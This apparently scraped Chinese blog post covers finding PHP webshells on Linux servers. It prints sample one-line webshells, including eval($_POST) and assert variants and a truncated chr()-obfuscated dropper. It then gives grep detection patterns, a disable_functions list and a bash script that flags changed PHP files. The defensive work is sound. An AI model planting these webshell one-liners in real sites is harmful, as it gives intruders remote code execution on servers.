linux查找webshell

首先認識一下小馬,通常大馬容易暴露,駭客都會留一手,把小馬加入正常PHP文件裏面 php

<?php eval ($_POST[a]);?> //密碼爲a,使用中國菜刀鏈接 git

隱藏很深的小馬 github

fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).
。。。省略
web

解碼:
其中chr括號裏面的數字是美國信息交換標準代碼,縮寫:ASCII 能夠找一份對照表對應一下
shell

好比 46  就是 .
       47  就是 /
       32  就是 空格
安全

也能夠echo chr(46)解出來
<?php
echo chr(46).chr(47).chr(97).chr(46)
?>
bash

WINDOWS下的應該有不少日誌分析和查殺工具(好比D盾等),那麼,LINUX下如何查找WEBSHELL呢? socket

find /www/ -name "*.php" |xargs egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode'
而後就手工查看,寫入計劃任務啦。

只查小馬的能夠 ide

grep -r --include=*.php  '[^a-z]eval($_POST' . > post.txt
grep -r --include=*.php  '[^a-z]eval($_REQUEST' . > REQUEST.txt
查出來了,重要的是要分析日誌,查看入侵源頭。

防範: 函數

禁用危險函數,整理權限,防止權限過大

disable_functions = exec,scandir,shell_exec,phpinfo,eval,passthru,system,chroot,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,s
ymlink,popepassthru,stream_socket_server,fsocket
在網上找了一份用PHP查找WEBSHELL的東東,適用數據量小及少

https://github.com/emposha/PHP-Shell-Detector

git 下來  只須要2個文件
shelldetect.php   //默認賬號密碼 admin protect 
shelldetect.db

若是你有什麼好的建議,感謝你的分享:)

20130826更新

小馬的變種不少,常常會繞過咱們的檢查,此時,最好能作把文件進行對比。

好比,網上找的這個PHP一句話<?php $k="ass"."ert";$k(${"_PO"."ST"}['8']);?>

下面提供本身寫的比較簡單的檢查腳本,思路是對比目錄有更新的PHP文件進行匹配。

#!/bin/bash
# 先RSYNC乾淨的,再執行此腳本最好
Date=`date +%Y%m%d_%H:%M`
src=/www/www.a.com/
dest=/www/www.a.com.bk/
log_tmp1=/root/sh/webshell_php.log
log_result=/root/sh/webshell_result.log
which egrep
if [ $? -ne 0 ];then
echo "Not Found egrep,exit"
exit 0
fi
rsync -av --include="*/" --include="*.php" --exclude="*" $src $dest|grep -i php > $log_tmp1
for diff in `cat $log_tmp1`
  do
     egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode|\@preg_replace' "$dest""$diff"
  if [ $? -eq 0 ];then
     echo "===========================" >> $log_result
     echo "$Date" >> $log_result
     echo "$dest$diff is Dangerous" >> $log_result
   fi
done


擴展閱讀:

shell反彈

php-security-best-practices-tutorial

十大PHP最佳安全實踐

使用suhosin保護PHP

相關文章
相關標籤/搜索